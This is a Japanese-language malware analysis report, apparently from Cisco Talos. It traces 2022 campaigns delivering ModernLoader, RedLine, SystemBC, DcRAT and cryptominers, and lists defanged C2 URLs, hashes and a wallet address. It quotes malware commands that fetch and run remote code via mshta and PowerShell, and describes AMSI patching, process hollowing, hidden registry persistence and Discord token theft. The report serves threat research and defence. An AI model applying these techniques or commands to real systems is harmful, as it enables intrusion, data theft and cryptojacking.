- Cisco Talos は最近、2022 年 3 月から 6 月にかけて展開された 3 つの攻撃を確認しました。これらの攻撃は別個に展開されたものの関連性があり、ModernLoader ボット、RedLine 情報窃取マルウェア、仮想通貨マイニングマルウェアなどさまざまな脅威が送り込まれていました。
- 攻撃者は PowerShell、.NET アセンブリ、HTA および VBS ファイルを使用して、標的のネットワーク全体に脅威を拡散しています。最終的には、他にも SystemBC トロイの木馬や DcRAT などのマルウェアがドロップされ、攻撃作戦のさまざまなステージが実行されます。既製のツールがいろいろ使用されているため、攻撃者の特定は難しくなっています。
- 最終的なペイロードは、ModernLoader と見られます。リモートアクセス型トロイの木馬(RAT)として機能し、システム情報を収集してさまざまなモジュールを展開します。攻撃は 3 月から展開されていますが、初期の攻撃では仮想通貨マイニングマルウェア XMRig の配布も確認されました。Talos が分析したコンストラクタ ユーティリティには、ブルガリア語、ポーランド語、ハンガリー語、ロシア語で記述された事前定義のスクリプトテンプレートがありました。したがって、3 月の攻撃は東ヨーロッパのユーザーを標的にしていたものと思われます。
- 攻撃者は、脆弱な Web アプリケーションを侵害してマルウェアを感染させ、Amazon ギフトカードを装った偽のファイルを通じて脅威を配布しようとしています。
技術詳細
最初の発見
2022 年 6 月、Cisco Talos はテレメトリで異常なコマンドライン実行を確認しました。復号化された Base64 コマンドは次のとおりです。
最初の発見:システムで実行されたコマンド
31.41.244[.]231 という IP はロシアの IP であり、同様の命名規則を持つ URL を他にもいくつかホストしています。
コマンドの自動実行
最初のコマンドの発見に続いて、別の 2 つのコマンドラインを確認しました。自動実行に登録された実行ファイルとスケジュールされたタスクの実行結果です。
自動実行の実行ファイルとスケジュールされたタスクのコマンドライン
1 つめのコマンドはダウンロードサーバーに接続して HTA アプリケーションをダウンロードします。このアプリケーションのスクリプトは HTML Guardian(HTML コードを暗号化するアプリケーション)を使って難読化されています。
HTA ファイルをブラウザで開いたときに表示されるコンテンツ
難読化が解除されると、HTA ファイルは VB スクリプトコードを実行し、hxxp[:]//31[.]41[.]244[.]231/0x?0=Loader から PowerShell コードをダウンロードして実行します。この PowerShell コードが、ローディングプロセスの次のステージを開始します。
難読化が解除された HTA コード
autorunnn.exe モジュール(d9c8e82c42e489ac7a484cb98fed40980d63952be9a88ff9538fc23f7d4eb27f)は、オープンソース ユーティリティである SharpHide の改変版であり、非表示のレジストリエントリの作成を試みます。NtSetValueKey のネイティブ API を使用して、UNICODE_STRING キーの値の名前の前に null バイトを追加し、非表示(文字列の末尾が NULL)のレジストリキーを作成します。今回の事例では、\HKLM|HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\shell というレジストリエントリを作成するように SharpHide が改変されていました。このレジストリエントリは、「explorer.exe, cmd /c mshta hxxp://go[.]clss[.]cl/0k#=GoogleWindowsAnalyticsConfiguration」というコマンドを実行する設定になっています。
このプログラムは、スケジュールされたタスクの作成も試みます。タスクはユーザーがシステムにログインしたときに実行されます。作成されるタスクの名前は「OneDrive Standalone Update Task」です。このタスクは、同じコマンド「mshta hxxp[:]//go[.]clss[.]cl/0k#=GoogleWindowsAnalyticsConfiguration」を実行し、PowerShell ローダーをダウンロードして実行します。
レジストリのスタートアップエントリを非表示にするために使用される SharpHide(改変版)のコード
この URL は、システムで実行される PowerShell コードを提供します。
システムは、ログイン手順の一環としてファイルを実行します。これにより、次のステージをダウンロードするよう設定されたレジストリエントリとスケジュールされたタスクが設定されるようになっています。
PowerShell ローダー
次のステージは、PowerShell ローダーです。ローダーには 3 つのモジュールの埋め込みコードが含まれています。これらのモジュール(追加の .NET アセンブリ)は、リフレクションを使用して PowerShell プロセス空間にロードされます。ダウンロードされた PowerShell コードは、補助モジュールとペイロードもダウンロードして実行します。
通常、このローダー形式には 3 つのモジュールがあります。1 つめは AMSI スキャン機能を無効にするモジュールであり、2 つめが最終的なペイロードです。最後の 1 つは新しく作成されたプロセス(通常は RegSvcs.exe)のプロセス空間に最終ペイロードを挿入します。
Killamsi
Killamsi.dll は base64 エンコード文字列として格納されています。この文字列は、エンコードされた最初の 2 文字と、エンコードされたアセンブリ DLL の残りの部分に分割されています。DLL には難読化されたコードが含まれています。Microsoft の AMSI インターフェイス(amsi.dll)の AmsiScanBuffer 関数に、エラー値を返すコードのパッチ適用を試みるコードです。パッチが適用されると、マルウェア対策エンジンは実行された PowerShell コードをスキャンできなくなります。これにより、攻撃者がローダー実行の次のステージの検出を回避できるようになる可能性があります。
amsi.dll の復号化とロード、Main 関数の呼び出し
プロセスインジェクタ
ローダーファイルの最後のモジュールは「friday.dll」で、ConfuserEx や Dotnet Reactor など複数の難読化レイヤで難読化されています。このモジュールは新しいプロセスを作成し、次のインジェクタステージを新しく作成された RegSvcs.exe プロセスに挿入します。
次のインジェクションステージを RegSvcs.exe プロセスに挿入するために使用される friday.dll モジュール
第 2 ステージのインジェクタは、Managament.inf というアセンブリです。svchost.exe プロセスのインスタンスを作成し、プロセスハロウイングを使用してコードを挿入します。こうして、最初の PowerShell ローダーのスクリプトに格納されている最終的なペイロードがロードされます。
インジェクタは、一時停止モードで svchost.exe プロセスを作成し、ペイロードモジュールの挿入用に仮想メモリを割り当てます。元の svchost モジュールは、ZwUnmapViewOfSection を呼び出してマッピングを解除します。
その後は、かなり一般的な挿入シーケンスの API コールが続きます。スレッドコンテキストを取得し、割り当てられた仮想メモリにペイロードからデータをコピーし、スレッドコンテキストがペイロードのエントリポイントを参照するように設定し、最後に、一時停止されていたスレッドを再開します。
オペレーティングシステムのビット数に合わせて適切な関数が使用され、64 ビットのオペレーティングシステムから 32 ビットのプロセスのスレッドコンテキストが取得され設定されます。挿入されるペイロードは、ModernLoader インスタンスである Client.exe(3f5856a9ec23f6daf20fe9e42e56da1b8dcb0de66b6628a92b554d6e17c02fc3)です。
ModernLoader ボット(別名:Avatar ボット)
初期ローダーの URL のペイロードはシンプルな .NET のリモートアクセス型トロイの木馬で、ModernLoader と言います。ModernLoader は遅くとも 2019 年から使用されています。一部の研究者は「Avatar ボット」と呼んでいますが、2013 年に報告された同名のルートキットとの共通点は一切ありません。
ハードコードされている C2 の URL でボットを初期化する ModernLoader のコンストラクタ
初期化されたボットは、システムに関する次の情報を収集し、hxxp[:]//31[.]41[.]244[.]231/AVAVA/gate[.]php への POST リクエストにより、取得した情報を C2 サーバーに送信します。
- Win32_ComputerSystemProduct UUID(WMI を使用して構成データを照会)
- Win32_DisplayConfiguration の GPU の詳細情報
- AD またはワークグループ名
- 外部 IP アドレス(http://ipinfo.io/ip からの応答を読み取り)
- IP アドレスの国(http://ipinfo.io/country からの応答を読み取り)
- Windows オペレーティングシステムのバージョン情報
- RAM 容量
- プロセッサのアーキテクチャと種類
- ユーザー権限(管理者またはユーザー)
- 侵害を受けたシステムにインストールされているマルウェア対策製品
- 空き容量
- ボットのバージョン
- ネットワーク上のコンピューター名(ローカルの ActiveDirectory データを照会)
- ディスク上に存在する RDP モジュール(ボットの補助ペイロードとして使用)
最初のデータが送信されると、ModerLoader は応答を読み取り、JSON 形式でサーバーから返されたタスクを見つけます。タスクの実行には DoTask 関数を使用します。DoTask が受け付けるコマンドはごくわずかで、コマンドラインを実行するか、ファイルをダウンロードして実行します。このように機能が制限されているために作成者はボットをローダーと称しているのかもしれませんが、どう見てもこれはリモートアクセス型トロイの木馬(RAT)です。
ModernLoader などのローダーを使用するメリットは、攻撃者が攻撃内容を変更してさまざまなモジュールをリアルタイムで導入できる点にあります。モジュールの展開方法によっては、ペイロードが RAM にのみ存在し、ハードドライブにファイルの形で存在しないことも多々あります。もちろん、このアプローチには単一の IP アドレスに依存するという大きな弱点があり、C2 サーバーがオフラインになるとすぐに攻撃は終了します。ModernLoader は、C2 サーバーに定期的に接続して新しいタスクを実行しようとします。これは、プロセスが終了するまで無限に繰り返されます。
ModernLoader は、今回分析した攻撃に欠かせない要素となっています。主な用途は、C2 サーバーの指示に従い、追加のペイロードとモジュールをダウンロードして実行することです。テレメトリデータとオープンソース インテリジェンスによれば、C2 では 10 を超える追加モジュールがホストされています。ただ、この記事の執筆時点では、すべてのモジュールをダウンロードできるわけではありませんでした。
先立つ攻撃
調査中に、C2 サーバーとして 31[.]41[.]244[.]231 を使用する攻撃に密接な関係がある過去の攻撃を 2 つ発見しました。2022 年 3 月に実行されたものです。どちらの攻撃も同様の TTP を使用しています。C2 サーバーと通信するメインボットとして ModerLoader を使用し、追加のモジュールを次の IP アドレスの C2 サーバーから配布するという手口です。
- 62[.]204[.]41[.]192
- 62[.]204[.]41[.]71
これらの攻撃の関係が分かる手がかりがいくつかあります。1 つは、感染したシステムの 1 つに与えられたタスクで、C2 サーバーとして 62[.]204[.]41[.]71 を使用しています。Talos はまず、感染したシステムが C2 サーバー 62[.]204[.]41[.]71 に接続していることを確認しました。続いて、PowerShell コマンドを実行するタスクも確認しました。62[.]204[.]41[.]192(別の攻撃で使用された C2 サーバー)からモジュールをダウンロードして実行するというものです。
ModernLoader に割り当てられている C2 タスクで 2 つの C2 サーバーに接続
31[.]41[.]244[.]231 と 62[.]204[.]41[.]71 の間の関連性を示すのが、これらの攻撃に関係する一連のスタンドアロンのダウンローダーのうちの 1 つです。通常は offer.exe という名前が付けられていて、Visual Basic 6 で記述されています。このダウンローダーが 2 番目の感染ベクトルを提供します。
2 つめの関連性を証明するダウンローダーが 27bb9ee41bc7745854e3f3687955f1a6df3bbd74a7d1050a68fe0d0e6087b4b3 です。Web ブラウザ Brave のアップデートに見せかけてあります。サンプルには、次の URL からコードをダウンロードして実行する PowerShell コマンドを起動するコードが含まれています。
- hxxp[://]31[.]41[.]244[.]2311/AVAVA/WAW/Documents/go[.]oo
- hxxp[://]31[.]41[.]244[.]2311/AVAVA/WAW/APPDATA/go[.]oo
- hxxp[://]62[.]204[.]41[.]71/Offer/Offer[.]oo
元の IP アドレスが誤って入力されていますが、最新の C2 IP アドレスと類似しており、これらの攻撃の関連性の証拠としては十分強力です。
ドロッパー(vs_community.exe のテーマ)
多くのドロッパーの内部名は vs_community.exe となっています。おそらく、このファイルが Visual Studio コミュニティエディションの一部であるとユーザーに思わせるためと考えられます。ほとんどのドロッパーは 7-Zip SFX コンストラクタツールで作成されています。今回の攻撃で作成されたドロッパーファイルのバージョン情報文字列はすべて同一のようです。
C2 サーバーから受信したペイロードモジュール
No.go
hxxp:[//]31[.]41[.]244[.]231/0xNANA/no[.]go は、連日の異常な PowerShell 呼び出しを調査したときに最初に発見した URL です。ローダーモジュールと同様に、AMSI インターフェイスを無効化する機能を備えた amsi.dll モジュール、RegSvcs.exe にロードされるペイロード、ペイロードのインジェクタモジュール friday.dll で構成されます。
プロセスインジェクションの実装の仕組みについてはすでに説明したので、ペイロードについて重点的に取り上げます。ペイロードは auto.exe(142c333bef9eab4ce9d324e177572423c845ee399c01b4b78cfff730b4cb79b4)で、また別のダウンロードステージがあります。このステージでは、ランダムな名前の VB スクリプトと、ランダムな名前のインストール情報ファイル(.inf)が作成されます。インストール情報ファイルは、cmstp.exe(接続マネージャ プロファイル インストーラ)を使用して開かれます。.inf ファイルにより、システムに VB スクリプトを起動するように指示が出されます。
VB スクリプトの実行プロセスがやや複雑になっているのは、おそらく Windows ユーザーアカウント制御(UAC)の回避を狙っているものと考えられます。VB スクリプトは、今回の攻撃で使われている他の VB スクリプトと非常に似ています。機能は単純で、C2 サーバーでホストされている 2 つの URL から PowerShell コードをダウンロードして実行しようとするだけです。
auto.exe モジュールのリソースセクションに保存されるランダムな名前の VBS ファイル
残念ながら、分析の時点では、2 つのモジュール DEKL.go と ya.go にはアクセスできませんでした。確認された攻撃の間もアクセスできなかったようです。にもかかわらず、確認された攻撃チェーンでは、hxxp[://]31[.]41[.]244[.]231/0xNANA/file/NANA[.]go から次のモジュールである Nana.go をダウンロードして実行するリクエストが継続して送信されます。
これらの攻撃で使用される VB スクリプトには、Emotet のマクロダウンローダーにも存在するテキストが含まれています。それらがコードジェネレータのアーティファクトなのか、コンテンツの一部をランダム化することでスクリプトの検出を困難にするために別のソースから取り入れられたものなのかは明らかではありません。コメントの文章は文法的には正しいのですが、ほぼ意味をなしていません。マルコフ連鎖による文章ジェネレータのようなもので生成された可能性があります。
Nana.go
確認された攻撃では、Nana.go モジュールがダウンロードされ、実行されます。ファイル名は 0xNax.exe です。モジュールのチェックサムは 4621924ff1b05ad7c15bc4b5dad68f7c8c3eceaf7824444b149264eff79d4b9a で、UPX で圧縮されています。このファイルの内部ファイルのバージョン文字列名は、Microsoft Visual Studio コミュニティのインストーラであるかのような名前になっています。vs_community.exe というテーマは、今回の攻撃で使われている複数のファイルで見られます。この名前から、ファイル共有 Web サイトや P2P ネットワークで拡散される可能性があることが分かります。攻撃でドロップされるファイルの名前は、正規の Windows ユーティリティのように見えるものが選ばれているようです。
モジュールを解凍すると、自己解凍型の 7-Zip ファイルになります。作成には 7-Zip SFX コンストラクタ ユーティリティが使われています。このユーティリティを使用すると、1 つのフォルダから複数のファイルを 7-Zip アーカイブに追加できます。自己解凍ファイル内に暗号化されて保存されている構成データの解釈にはスタブが使用されます。この構成データには、スクリプトエンジンへの命令と同様に、エクストラクタスタブへのさまざまな命令も含まれています。スクリプトエンジンを使用すると、ファイルを抽出する場所と、抽出プロセス中に実行する必要があるコマンドを指定できます。
コンストラクタ ユーティリティには、ブルガリア語、ポーランド語、ハンガリー語、ロシア語で定義済みのスクリプトテンプレートが付属しています。したがって、東ヨーロッパのユーザーを標的にしているものと思われます。
7-Zip SFX コンストラクタ スクリプト エディタ
7-Zip SFX ファイルは攻撃の至るところで使用されており、Nana.go はその 1 つにすぎません。実行すると、2 つの追加モジュールをドロップして起動します。それが C:\Users\<Username>\AppData\Roaming\Log\AppData.exe(7e73bc53cd4e540e1d492e6fd8ff630354cd8a78134e99bc0b252eccb559c97a)と C:\Users\<Username>\AppData\Roaming\Log\OneDrive.exe(eb37c756c60a75068bfe88addd24e209080fe5383d25c919ea40fe78fff98612)です。
AppData.exe は別の自己解凍型 7-Zip ファイルで、内部ファイル名は vs_community.exe です。実行すると、次のファイルをドロップして実行します。
- C:\Users\<Username>\AppData\Roaming\WinServer\Log.exe (3f2f84147c55e5fc42261ace15ad55239d0bcba31a9acd20b99c999efbb9d392)
- C:\Users\<Username>\AppData\Roaming\WinServer\AppData.exe ( d9c8e82c42e489ac7a484cb98fed40980d63952be9a88ff9538fc23f7d4eb27f)
WinServer フォルダ内の appdata.exe は、前述の autorunnn.exe と同じものです。autorunnn.exe は、ユーザーがシステムにログインしたら感染プロセスを開始するようにレジストリキーを設定します。
Log.exe モジュールは、次の追加ファイルをドロップして実行します。
- C:\Users\<Username>\AppData\Roaming\UpdatersHelper\UpdatersHelper.exe(852857c66ee72f264c26d69c1f4092e99c2ed1fdcfef875f982fb75ed620ccc0)。内部モジュール名は BypassDefender です。BypassDefender プロジェクトの亜種と思われ、GitHub でソースコードを入手できます。Windows Defender サービスと関連するプロセスを停止することによって Windows Defender を無効化することを目的としています。
- C:\Users\<Username>\AppData\Roaming\UpdatersHelper\UpdatersHelper.bat(435aa8b19125d795ada322aa8e30f3dd9afa03a4ac1350177c920426d1b17a47)。このバッチファイルは、実行モジュールのexe を実行するようにスケジュールされたジョブを設定します。また、その属性をシステムに設定し、デフォルトの Windows Explorer ビューに表示されないようにします。
OneDrive モジュールは、.NET ローダーを conhost.exe のプロセス空間に挿入するインジェクタです。挿入されたシェルコードは、次の挿入ステージのプロセスを設定します。これは .NET アセンブリであり、追加のモジュールをドロップおよびロードし、XMRig を起動して Monero をマイニングします。マイニングには pool.hashvault.pro 上のプールを使用し、プールアドレスは 44Ds8fbC3HWQCcwQotgrNDUWnmDixpQPG7YLh5h2rzSMQrxCRXeSjQvH8LRPNGSyqvXcKeEk3umZ7T2wzFAgovF15UckBxg です。
仮想通貨マイニングプールへの XMRig の接続
Hashvault ダッシュボードで確認されたトラフィックによれば、このプールを使用している感染システムの数は数百で、マイニングの量は比較的少ないようです。地理的に見ると、ほとんどの接続は、東ヨーロッパのほか、インドネシアなどのアジア諸国からのものとなっています。
6 月後半の OneDrive.exe マイナープールのハッシュレート
ローダーは、マイナーを実行する前に、ウォッチドッグプロセスと、カーネルモードでのメモリの書き込みを可能にするカーネルドライバのロードを試みます。ウォッチドッグプロセスの sihost64.exe は、マイナーファイルが削除された場合はマイナーを復元し、プロセスが終了した場合は再起動するようにします。
他にも、Windows と Windows Defender を無効化するコマンドがいくつかあります。
Windows Update の無効化を試みるマイナーのローダー
ユーザーがシステムにログインし、C:\Users\<Users>\AppData\Roaming\OneDrive\OneDrive.exe からマイナーである OneDrive.exe を起動するたびに、スケジュールされたタスク GoogleUpdateTaskMachineQC が実行されます。
ファイルの初期スタブとシェルコードは、Silent Crypto Miner ジェネレータのバージョンの 1 つで生成されたマイナーに非常によく似ています。マイナーローダーの構造も、Silent Crypto Miner および SilentXMR プロジェクトによって生成されたローダーと一致しています。
逆コンパイルしたマイナーローダーのコード
Silent Crypto Miner ローダーのソースコード
Silent Crypto Miner は、プログラミングの知識がほとんどない人でも効果的で復元力の高いマイナーローダーを作成できるジェネレータです。
仮想通貨マイナービルダー Silent のフォーム
Meta、ww.cc、Regasm.go
PowerShell の Meta モジュールはローダーです。類似した 3 つのアセンブリスキームを使用し、ペイロード beachy.exe を新しく作成された RegSvcs.exe プロセスのプロセス空間に挿入します。Beachy.exe(b71c43bf7af23ed6a12bdb7ce96a4755b8a7f285b8aa802484e8b2dfa191f14e)は、RedLine 情報窃取マルウェアの難読化されたインスタンスです。暗号化された文字列と正規のクラス名および関数名を使用して C2 サーバーの IP アドレス 31[.]41[.]244[.]235:45692 に接続します。
正規のソフトウェアを装った一般的な RedLine ローダーの認証
RedLine の URL モジュール
このモジュールを提供する URL 名は hxxp[://]31[.]41[.]244[.]231/0x/?0=RedLine ですが、その名に反し、このモジュールが挿入するのは ModernLoader ボットの亜種(53b09a7c8bf41ed9015b8e3a98fb8b8581e82d17c1ead0bd0293f2e3e9996519)であり、 RedLine 情報窃取マルウェアの亜種ではありません。
元のローダーモジュールの場合と同様に、RedLine PowerShell スクリプトはプロセスハロウイングによって RegSvcs.exe の新しいプロセスを作成します。このプロセスがインジェクタの次のステージを開始し、ModernLoader のアセンブリである client.exe を、プロセスハロウイングの手法で新たに作成した svchost.exe のプロセスに移動させるようになっています。接続先は、hxxp[://]31[.]41[.]244[.]231/AVAVA/gate[.]php にある最新の ModernLoader C2 スクリプトです。
RedLine モジュールは通常、スタンドアロンの実行ファイル offer.exe(dc5255a5bcc89266ea0c7ca79f7a52ab281cbb6cc1980ee5b3a818114c01b93c)によってダウンロードされます。また、次のような他のモジュールもダウンロードされ実行されます。
- hxxp[://]31[.]41[.]244[.]231/0xMine/RegAsm[.]go
- hxxp[://]31[.]41[.]244[.]231/0xSocks/go[.]go:go モジュールをダウンロードして起動する簡単なスクリプト
- hxxp[://]31[.]41[.]244[.]231/0xMine/go[.]go:go モジュールをダウンロードして起動する簡単なスクリプト
Mine.go
元のローダーや RedLine ローダーとは違って、Mine.go モジュールと Socks.go モジュールは PowerShell スクリプトではなく、Windows PE 実行ファイルです。前述のコマンドによって、hxxp[://]31[.]41[.]244[.]231/0xMine/go[.]go と hxxp[://]31[.]41[.]244[.]231/0xSocks/go[.]go からそれぞれダウンロードされ起動されます。
リソース(暗号化済み)の組み込みモジュールは次のとおりです。
- Sihost64(ウォッチドッグ):マイナーが実行されていることを確認。exe にロードされた RunPE モジュールによって挿入される
- インジェクタ(Run):関数の引数として指定されたプロセス名で PE ファイルを挿入
- sys:カーネルモードメモリへの書き込みを許可する可能性のあるドライバ
- mr:Monero マイニング用の XMRig 実行ファイル
- th:Ethminer
逆コンパイルしたマイナーのコード
.NET マイナーローダーは、Nana.go や OneDrive.exe マイナーと同様、Silent 仮想通貨マイナーによって生成されるコードに非常によく似ています。
Silent 仮想通貨マイナーとの大きな違いは、追加のコンポーネントをドロップするために使用されるフォルダと、マイニングに使用するマイニングプールサイトです。Mine.go はマイニングに TCP ポート 3333 の pool.supportxmr.com を使用します。プールアドレスは同じで 44Ds8fbC3HWQCcwQotgrNDUWnmDixpQPG7YLh5h2rzSMQrxCRXeSjQvH8LRPNGSyqvXcKeEk3umZ7T2wzFAgovF15UckBxg です。
Mines.go
Mines.go モジュール(21e72be7f818e2afd4d53ee8f16c7e4a4718a95dd75b90d83fa26181e426f578)はまた別のマイナーです。ただ、攻撃者は今回、「Sapphire Multi-Coin」というマイナーを使用しています。遅くとも 2022 年 2 月以降、さまざまなフォーラムに Sapphire マイナーの販売広告が出されています。このモジュールは、簡単な gos.go スクリプトによってダウンロードされることが確認されています。gos.go スクリプトは、スタンドアロンのダウンローダー(1c58274fbbeaf7178a478aea5e27b52d5ead7c66e24371a4089568fa6908818c)の 1 つによってダウンロードされます。
Sapphire マイナーのモジュールは、自身を %LOCALAPPDATA%\OneDrive\OneDrive.exe にコピーし、OneDrive.exe を毎分実行するようにスケジュールされたタスクを作成します。また、モジュールがメモリ内で実行済みかどうかを確認するミューテックス(39cb3ed9d64849789471d05f94b7b62a)を作成します。
Sapphire マイナーの広告
Sapphire マイナーは XMRig マイナーのラッパーであり、Golang で記述されています。リモートサーバーからダウンロードできる構成に合わせ、マイナーの Golang の部分が XMRig マイナーをロードし、マイナーがロードされるようにレジストリキーを設定します。また、感染したシステムの RAM の容量に応じてどの仮想通貨をマイニングするかを選択できるよう、必要なパラメータを準備します。
Sapphire マイナーのローダーは、レジストリエントリ HKCU>\SOFTWARE\Wow64\<SHA256_encrypted>(96cd98d42b896f6c92fd97b435d727497102ca91ce6e95252251a28e0c3fb9f8)が存在する場合、そこから暗号化された zip のマイナーアーカイブを読み取ろうとします。存在しない場合は、構成で事前定義された URL からダウンロードしようとします。
Sapphire マイナーは、プロセスハロウイングの手法を使い、感染したホストの GPU の種類と RAM の容量に応じて、新しく作成された svchost.exe プロセスまたは smartscreen.exe プロセスのプロセス空間に XMR を挿入します。
ダウンロードおよび復号されてからプロセスに挿入されるマイナーの実行ファイル
実際の XMRig マイナーはリモートサーバーに保存できます。Mines.go モジュールの場合、マイナーは hxxp[://]31[.]41[.]244[.]231/0xMine/Temp[.]exe からダウンロードされます。ダウンロードされるファイルは AES 暗号化 ZIP ファイルで、この中に XMRig マイナーと WinRing0x64.sys のヘルパードライバが含まれています。上述したとおり、XMRig は、同じマイニングプールアドレスの pool.supportxmr.com を TCP ポート 3333 で使用するように構成されています。
Socks.go
Socks.go モジュールは、Themida プロテクタで保護された実行ファイルです。モジュールには、プロキシ機能を備えた SystemBC の亜種(バックドア接続に使われるリモートアクセス型トロイの木馬)が含まれています。SystemBC が接続する C2 IP アドレスは、RedLine 情報窃取マルウェアのモジュールと同じで 31[.]41[.]244[.]235 ですが、TCP ポートは 4440 を使用します。SystemBC を使うと、攻撃者が感染したシステムをプロキシとして使用し、活動に役立てられるようになる可能性があります。
Autorun
ModernLoader ボットで Autorun モジュールをダウンロードして実行するコマンドは、多くの場合、Meta モジュールと一緒に確認されます。自動実行により、モジュール autorunnn.exe がダウンロードされ実行されます。この実行ファイルは、C2 サーバー hxxp[://]31[.]41[.]244[.]231/0x?0=WindowsAnalyticsConfiguration でホストされている最初の感染 HTA アプリケーションファイルをダウンロードして実行するよう、スケジュールされたタスクを設定します。また、レジストリキー HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run の値を変更し、ユーザーがシステムにログインしたときに同じ mshta コマンドが実行されるようにします。
Hello.go
Hello.go モジュール(3232126860f3729dda59f9db6476773997b4bcfb08e2e4b32b5214c30507d775)は、スタンドアロンのダウンローダー(1c58274fbbeaf7178a478aea5e27b52d5ead7c66e24371a4089568fa6908818c)の少なくとも 1 つによってダウンロードされます。vs_community.exe を UPX 圧縮した自己解凍型の 7-Zip ドロッパーであり、他のモジュールを大量にドロップして実行します。ほとんどはマイニング用のモジュールですが、Windows Defender のバイパス用のモジュールもあります。Nana.go ペイロードに似たモジュールですが、含まれるコンポーネントは Hello.go の方が多くなっています。モジュールを実行すると、次のファイルがドロップされます。
- %APPDATA%\nexts\killduplicate.cmd
- %APPDATA%\nexts\mine.exe – Silent Crypt miner
- %APPDATA%\nexts\output.exe
- %LOCALAPPDATA%\appdata.exe
- %APPDATA%\winserv\killduplicate.cmd
- %APPDATA%\winserv\appdata.exe
- %APPDATA%\winserv\updatershelper.exe
- %APPDATA%\install+\appdata.bat
- %APPDATA%\install+\killduplicate.cmd
- %APPDATA%\links\killduplicate.cmd
- %APPDATA%\links\mine.exe
- %APPDATA%\link\killduplicate.cmd
- %APPDATA%\link\mine.exe
- %APPDATA%\link\mines.exe
- %APPDATA%\onedrive\onedrive.exe
- %LOCALAPPDATA%\onedrive\onedrive.exe
- %APPDATA%\drives\off.bat
- %APPDATA%\drives\updatershelper.exe
- %APPDATA%\google\libs\wr64.sys
これらのモジュールの主要な機能は仮想通貨をマイニングする環境を確立することですが、マイナーと、Windows Update および Windows Defender の無効化タスクを実行する補助モジュールも存在します。
Ws.go
Ws.go モジュール(dd24e5596c318b30c05cffc7467f5649564ab93874c9201bf758a1a2ce05228c)は、C2 サーバーが起動したタスクの 1 つによって ModernLoader にダウンロードされ実行されることが確認されています。
Ws.go には、すでに説明した PowerShell の 3 つのアセンブリによるモジュールローダースキームが含まれ、モジュール XBinder-Output.exe(40d68523748f6eaf765970a40458faccbe84ef5dff7acbdaf29ac5a69d7cae6f)の挿入を試みます。XBinder-Output.exe のリソースセクションには、VB スクリプトの WindowsConfiguration.vbs(c103c7686739669f3cfc123de34bdadb803c4ec8727cf12cd7cdc56be4bf60e1)が含まれています。リソースは暗号化されており、復号されると %LOCALAPPDATA%\OneDrive\WindowsConfiguration.vbs としてディスクに保存され、起動されます。
VB スクリプトは PowerShell コードのラッパーであり、hxxp[://]31[.]41[.]244[.]231/0x/Loader[.]go から最初の ModernLoader ローダーモジュールをダウンロードして実行しようとします。
最初の ModernLoader ローダーを実行するコードをドロップして実行する Ws.go
XBinder-Output は、レジストリ値 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\WindowsConfiguration を設定します。これは、ドロップされた VB スクリプトである WindowsConfiguration を指すようになっていて、ユーザーがシステムにログインするたびにスクリプトが実行されます。
SmartScreen.ps
1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5 によってダウンロードされます。最初に hxxp[://]31[.]41[.]244[.]231/AVAVA/WAW/APPDATA/go.oo から簡単なスクリプトをロードし、最終的には同じ C2 IP アドレス(hxxp[://]31[.]41[.]244[.]231/AVAVA/gate[.]php)に接続している ModernLoader のインスタンスをロードします。
Auto.oo
Auto.oo は補助モジュールです。同じく 1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5 によってダウンロードされ、SharpHide のインスタンス(881235fca4aeeb88950b952c0d9ce1a7d9a4eb838ce7d79447a26d2f45b1eaa5)を起動します。SharpHide は、ユーザーがシステムにログインするたびに SmartScreen モジュールが開始されるように非表示のレジストリエントリを作成します。
XBoxLive.ps
1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5 によってダウンロードされます。最初に hxxp[://]31[.]41[.]244[.]231/AVAVA/WAW/Documents/go.oo から簡単なスクリプトをダウンロードして実行します。そして最終的には、ModernLoader(09db213df3dbd950a8bc75246be72f5b572b00dbd3a5bba45c7074443d0928a7)のインスタンスを、同じ C2 URL(hxxp[://]31[.]41[.]244[.]231/AVAVA/gate[.]php)に接続するよう構成された svchost.exe のプロセス空間にロードします。
ローダーの機能は同じですが、各攻撃で使用されたローダーにはそれぞれ固有のバージョン名が付けられています。最初のローダーのバージョンは「Live」ですが、SmartScreen.ps と XBoxLive.ps にはそれぞれ独自のバージョン名があります。おそらく、攻撃実行者は C2 サーバーのパネルで追跡できるものと思われます。
R0.go
このモジュールは、7-Zip 自己解凍ドロッパー(4a6ef2379195140aa31d339329ca06bd28589fa13fd88cfcf9d76cb2d4ab99c1)の動的分析で発見されました。3 つのアセンブリを含む PowerShell であり、DcRAT の亜種(2c631588c491aa32c20f6a99201ba82982a31b1c763054562d59cd1a5a1ea14b)の難読化されたインジェクタをロードします。
ローダーは、まず RegSvcs.exe のプロセス空間に挿入され、続いて新しく作成された svchost.exe プロセスのプロセス空間に挿入されます。
DcRAT クライアントは、この攻撃で使われている他の RAT と同様に、IP アドレス 31.41.244.235 に接続するように構成されています。使用する TCP ポートは 8848 です。分析の時点では、ホストにはアクセスできませんでした。
復号された DcRAT の構成データ
追加のペイロード
Discord 拡散モジュール
C2 サーバーと通信する他のモジュールを探している際に、BitTorrent クライアントである µTorrent Web を装ったファイル(838170edffbca1cadef3b7039330376c1aad914883103834c25e9bb92d9bfad1)を見つけました。実行されると、ファイルはランダムに名前が付けられた別のファイルをドロップします。このファイルは Visual Basic で記述されたダウンローダーで、コードは他の Offer.exe ダウンローダーと同様です。このダウンローダー(9b347b48026f205733abbc24c502dfff5428341e10c6944687cdbfe70770f5f3)は、62[.]204[.]41[.]71 からコードをダウンロードして実行する次の PowerShell コマンドを実行します。
Discord 拡散モジュールのダウンロード
このドロッパーの興味深い点は、Discord 拡散モジュール(GitHub で入手できるオープンソースモジュール)プロジェクトを基にしている点です。このユーティリティは Discord トークン窃盗プログラムで、Discord 上で元のファイルを拡散するために使用されている可能性があります。拡散方法は、Discord トークンを盗まれたユーザーが利用しているチャンネルにメッセージを送信するというものです。ユーザーモードのルートキット r77 または追加のペイロードをアセンブリの ManifestResource ストリームに含めることもできます。拡散モジュールの新しいインスタンスを作成するビルダーが用意されています。今回の攻撃で使用されたサンプルは .NET 難読化ツールで難読化されていました。
Discord 拡散モジュールのビルダー
モジュールの作成者は、マルウェア対策研究者がサンプルを分析する際に「役立つ」メッセージもコードに残しています。
